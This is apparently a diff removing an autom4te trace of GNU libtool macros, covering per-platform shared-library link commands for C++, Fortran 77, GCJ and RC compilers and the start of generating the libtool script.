-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- osf4* | osf5*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Archives containing C++ object files must be created using
- # the KAI C++ compiler.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- cxx*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
- echo "-hidden">> $lib.exp~
- $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~
- $rm $lib.exp'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- psos*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- lcc*)
- # Lucid
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_AC_TAGVAR(archive_cmds_need_lc,$1)=yes
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' -zdefs'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- case $host_os in
- solaris2.[[0-5]] | solaris2.[[0-5]].*) ;;
- *)
- # The C++ compiler is used as linker so we must use $wl
- # flag to pass the commands to the underlying system
- # linker. We must also pass each convience library through
- # to the system linker between allextract/defaultextract.
- # The C++ compiler will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
- ;;
- esac
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- output_verbose_link_cmd='echo'
-
- # Archives containing C++ object files must be created using
- # "CC -xar", where "CC" is the Sun C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs'
- ;;
- gcx*)
- # Green Hills C++ Compiler
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-
- # The C++ compiler must be used to create the archive.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
- ;;
- *)
- # GNU C++ compiler with Solaris linker
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
- if $CC --version | grep -v '^2\.7' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- else
- # g++ 2.7 appears to require `-G' NOT `-shared' on this
- # platform.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- fi
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir'
- fi
- ;;
- esac
- ;;
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*)
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- # For security reasons, it is highly recommended that you always
- # use absolute paths for naming shared libraries, and exclude the
- # DT_RUNPATH tag from executables and libraries. But doing so
- # requires that you compile everything twice, which is a pain.
- # So that behaviour is only enabled if SCOABSPATH is set to a
- # non-empty value in the environment. Most likely only useful for
- # creating official distributions of packages.
- # This is a hack until libtool officially supports absolute path
- # names for shared libraries.
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- vxworks*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-esac
-AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)])
-test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
-
-_LT_AC_TAGVAR(GCC, $1)="$GXX"
-_LT_AC_TAGVAR(LD, $1)="$LD"
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-AC_LIBTOOL_POSTDEP_PREDEP($1)
-AC_LIBTOOL_PROG_COMPILER_PIC($1)
-AC_LIBTOOL_PROG_CC_C_O($1)
-AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
-AC_LIBTOOL_PROG_LD_SHLIBS($1)
-AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
-AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_POP
-CC=$lt_save_CC
-LDCXX=$LD
-LD=$lt_save_LD
-GCC=$lt_save_GCC
-with_gnu_ldcxx=$with_gnu_ld
-with_gnu_ld=$lt_save_with_gnu_ld
-lt_cv_path_LDCXX=$lt_cv_path_LD
-lt_cv_path_LD=$lt_save_path_LD
-lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld
-lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld
-])
-m4trace:acinclude.m4:4343: -1- AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP], [
-dnl we can't use the lt_simple_compile_test_code here,
-dnl because it contains code intended for an executable,
-dnl not a library. It's possible we should let each
-dnl tag define a new lt_????_link_test_code variable,
-dnl but it's only used here...
-ifelse([$1],[],[cat > conftest.$ac_ext <<EOF
-int a;
-void foo (void) { a = 0; }
-EOF
-],[$1],[CXX],[cat > conftest.$ac_ext <<EOF
-class Foo
-{
-public:
- Foo (void) { a = 0; }
-private:
- int a;
-};
-EOF
-],[$1],[F77],[cat > conftest.$ac_ext <<EOF
- subroutine foo
- implicit none
- integer*4 a
- a=0
- return
- end
-EOF
-],[$1],[GCJ],[cat > conftest.$ac_ext <<EOF
-public class foo {
- private int a;
- public void bar (void) {
- a = 0;
- }
-};
-EOF
-])
-dnl Parse the compiler output and extract the necessary
-dnl objects, libraries and library flags.
-if AC_TRY_EVAL(ac_compile); then
- # Parse the compiler output and extract the necessary
- # objects, libraries and library flags.
-
- # Sentinel used to keep track of whether or not we are before
- # the conftest object file.
- pre_test_object_deps_done=no
-
- # The `*' in the case matches for architectures that use `case' in
- # $output_verbose_cmd can trigger glob expansion during the loop
- # eval without this substitution.
- output_verbose_link_cmd=`$echo "X$output_verbose_link_cmd" | $Xsed -e "$no_glob_subst"`
-
- for p in `eval $output_verbose_link_cmd`; do
- case $p in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
- # Remove the space.
- if test $p = "-L" \
- || test $p = "-R"; then
- prev=$p
- continue
- else
- prev=
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- case $p in
- -L* | -R*)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
- if test -z "$_LT_AC_TAGVAR(compiler_lib_search_path, $1)"; then
- _LT_AC_TAGVAR(compiler_lib_search_path, $1)="${prev}${p}"
- else
- _LT_AC_TAGVAR(compiler_lib_search_path, $1)="${_LT_AC_TAGVAR(compiler_lib_search_path, $1)} ${prev}${p}"
- fi
- ;;
- # The "-l" case would never come before the object being
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- esac
- else
- if test -z "$_LT_AC_TAGVAR(postdeps, $1)"; then
- _LT_AC_TAGVAR(postdeps, $1)="${prev}${p}"
- else
- _LT_AC_TAGVAR(postdeps, $1)="${_LT_AC_TAGVAR(postdeps, $1)} ${prev}${p}"
- fi
- fi
- ;;
-
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
- if test "$p" = "conftest.$objext"; then
- pre_test_object_deps_done=yes
- continue
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- if test -z "$_LT_AC_TAGVAR(predep_objects, $1)"; then
- _LT_AC_TAGVAR(predep_objects, $1)="$p"
- else
- _LT_AC_TAGVAR(predep_objects, $1)="$_LT_AC_TAGVAR(predep_objects, $1) $p"
- fi
- else
- if test -z "$_LT_AC_TAGVAR(postdep_objects, $1)"; then
- _LT_AC_TAGVAR(postdep_objects, $1)="$p"
- else
- _LT_AC_TAGVAR(postdep_objects, $1)="$_LT_AC_TAGVAR(postdep_objects, $1) $p"
- fi
- fi
- ;;
-
- *) ;; # Ignore the rest.
-
- esac
- done
-
- # Clean up.
- rm -f a.out a.exe
-else
- echo "libtool.m4: error: problem compiling $1 test program"
-fi
-
-$rm -f confest.$objext
-
-# PORTME: override above test on systems where it is broken
-ifelse([$1],[CXX],
-[case $host_os in
-interix3*)
- # Interix 3.5 installs completely hosed .la files for C++, so rather than
- # hack all around it, let's just trust "g++" to DTRT.
- _LT_AC_TAGVAR(predep_objects,$1)=
- _LT_AC_TAGVAR(postdep_objects,$1)=
- _LT_AC_TAGVAR(postdeps,$1)=
- ;;
-
-solaris*)
- case $cc_basename in
- CC*)
- # Adding this requires a known-good setup of shared libraries for
- # Sun compiler versions before 5.6, else PIC objects from an old
- # archive will be linked into the output, leading to subtle bugs.
- _LT_AC_TAGVAR(postdeps,$1)='-lCstd -lCrun'
- ;;
- esac
- ;;
-esac
-])
-
-case " $_LT_AC_TAGVAR(postdeps, $1) " in
-*" -lc "*) _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no ;;
-esac
-])
-m4trace:acinclude.m4:4502: -1- AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG], [_LT_AC_LANG_F77_CONFIG(F77)])
-m4trace:acinclude.m4:4503: -1- AC_DEFUN([_LT_AC_LANG_F77_CONFIG], [AC_REQUIRE([AC_PROG_F77])
-AC_LANG_PUSH(Fortran 77)
-
-_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
-_LT_AC_TAGVAR(allow_undefined_flag, $1)=
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-_LT_AC_TAGVAR(archive_expsym_cmds, $1)=
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-_LT_AC_TAGVAR(hardcode_direct, $1)=no
-_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
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-_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
-_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no
-
-# Source file extension for f77 test sources.
-ac_ext=f
-
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-_LT_AC_TAGVAR(objext, $1)=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code=" subroutine t\n return\n end\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code=" program t\n end\n"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-_LT_AC_SYS_COMPILER
-
-# save warnings/boilerplate of simple test code
-_LT_COMPILER_BOILERPLATE
-_LT_LINKER_BOILERPLATE
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${F77-"f77"}
-compiler=$CC
-_LT_AC_TAGVAR(compiler, $1)=$CC
-_LT_CC_BASENAME([$compiler])
-
-AC_MSG_CHECKING([if libtool supports shared libraries])
-AC_MSG_RESULT([$can_build_shared])
-
-AC_MSG_CHECKING([whether to build shared libraries])
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-
-# On AIX, shared libraries and static libraries use the same namespace, and
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-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
- postinstall_cmds='$RANLIB $lib'
- fi
- ;;
-aix4* | aix5*)
- if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
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- ;;
-esac
-AC_MSG_RESULT([$enable_shared])
-
-AC_MSG_CHECKING([whether to build static libraries])
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-
-_LT_AC_TAGVAR(GCC, $1)="$G77"
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-
-AC_LIBTOOL_PROG_COMPILER_PIC($1)
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-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_POP
-CC="$lt_save_CC"
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-m4trace:acinclude.m4:4604: -1- AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG], [_LT_AC_LANG_GCJ_CONFIG(GCJ)])
-m4trace:acinclude.m4:4605: -1- AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG], [AC_LANG_SAVE
-
-# Source file extension for Java test sources.
-ac_ext=java
-
-# Object file extension for compiled Java test sources.
-objext=o
-_LT_AC_TAGVAR(objext, $1)=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="class foo {}\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='public class conftest { public static void main(String[[]] argv) {}; }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-_LT_AC_SYS_COMPILER
-
-# save warnings/boilerplate of simple test code
-_LT_COMPILER_BOILERPLATE
-_LT_LINKER_BOILERPLATE
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${GCJ-"gcj"}
-compiler=$CC
-_LT_AC_TAGVAR(compiler, $1)=$CC
-_LT_CC_BASENAME([$compiler])
-
-# GCJ did not exist at the time GCC didn't implicitly link libc in.
-_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
-
-_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1)
-AC_LIBTOOL_PROG_COMPILER_PIC($1)
-AC_LIBTOOL_PROG_CC_C_O($1)
-AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
-AC_LIBTOOL_PROG_LD_SHLIBS($1)
-AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
-AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_RESTORE
-CC="$lt_save_CC"
-])
-m4trace:acinclude.m4:4664: -1- AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG], [_LT_AC_LANG_RC_CONFIG(RC)])
-m4trace:acinclude.m4:4665: -1- AC_DEFUN([_LT_AC_LANG_RC_CONFIG], [AC_LANG_SAVE
-
-# Source file extension for RC test sources.
-ac_ext=rc
-
-# Object file extension for compiled RC test sources.
-objext=o
-_LT_AC_TAGVAR(objext, $1)=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n'
-
-# Code to be used in simple link tests
-lt_simple_link_test_code="$lt_simple_compile_test_code"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-_LT_AC_SYS_COMPILER
-
-# save warnings/boilerplate of simple test code
-_LT_COMPILER_BOILERPLATE
-_LT_LINKER_BOILERPLATE
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${RC-"windres"}
-compiler=$CC
-_LT_AC_TAGVAR(compiler, $1)=$CC
-_LT_CC_BASENAME([$compiler])
-_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes
-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_RESTORE
-CC="$lt_save_CC"
-])
-m4trace:acinclude.m4:4709: -1- AC_DEFUN([AC_LIBTOOL_CONFIG], [# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- _LT_AC_TAGVAR(compiler, $1) \
- _LT_AC_TAGVAR(CC, $1) \
- _LT_AC_TAGVAR(LD, $1) \
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1) \
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1) \
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1) \
- _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) \
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1) \
- _LT_AC_TAGVAR(thread_safe_flag_spec, $1) \
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1) \
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1) \
- _LT_AC_TAGVAR(old_archive_cmds, $1) \
- _LT_AC_TAGVAR(old_archive_from_new_cmds, $1) \
- _LT_AC_TAGVAR(predep_objects, $1) \
- _LT_AC_TAGVAR(postdep_objects, $1) \
- _LT_AC_TAGVAR(predeps, $1) \
- _LT_AC_TAGVAR(postdeps, $1) \
- _LT_AC_TAGVAR(compiler_lib_search_path, $1) \
- _LT_AC_TAGVAR(archive_cmds, $1) \
- _LT_AC_TAGVAR(archive_expsym_cmds, $1) \
- _LT_AC_TAGVAR(postinstall_cmds, $1) \
- _LT_AC_TAGVAR(postuninstall_cmds, $1) \
- _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) \
- _LT_AC_TAGVAR(allow_undefined_flag, $1) \
- _LT_AC_TAGVAR(no_undefined_flag, $1) \
- _LT_AC_TAGVAR(export_symbols_cmds, $1) \
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) \
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1) \
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1) \
- _LT_AC_TAGVAR(hardcode_automatic, $1) \
- _LT_AC_TAGVAR(module_cmds, $1) \
- _LT_AC_TAGVAR(module_expsym_cmds, $1) \
- _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1) \
- _LT_AC_TAGVAR(exclude_expsyms, $1) \
- _LT_AC_TAGVAR(include_expsyms, $1); do
-
- case $var in
- _LT_AC_TAGVAR(old_archive_cmds, $1) | \
- _LT_AC_TAGVAR(old_archive_from_new_cmds, $1) | \
- _LT_AC_TAGVAR(archive_cmds, $1) | \
- _LT_AC_TAGVAR(archive_expsym_cmds, $1) | \
- _LT_AC_TAGVAR(module_cmds, $1) | \
- _LT_AC_TAGVAR(module_expsym_cmds, $1) | \
- _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) | \
- _LT_AC_TAGVAR(export_symbols_cmds, $1) | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\[$]0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\[$]0 --fallback-echo"[$]/[$]0 --fallback-echo"/'`
- ;;
- esac
-
-ifelse([$1], [],
- [cfgfile="${ofile}T"
- trap "$rm \"$cfgfile\"; exit 1" 1 2 15
- $rm -f "$cfgfile"
- AC_MSG_NOTICE([creating $ofile])],
- [cfgfile="$ofile"])
-
- cat <<__EOF__ >> "$cfgfile"
-ifelse([$1], [],
-[#! $SHELL
-
-# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services.
-# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP)
-# NOTE: Changes made to this file will be lost: look at ltmain.sh.
-#
-# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001
-# Free Software Foundation, Inc.
-#
-# This file is part of GNU Libtool:
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
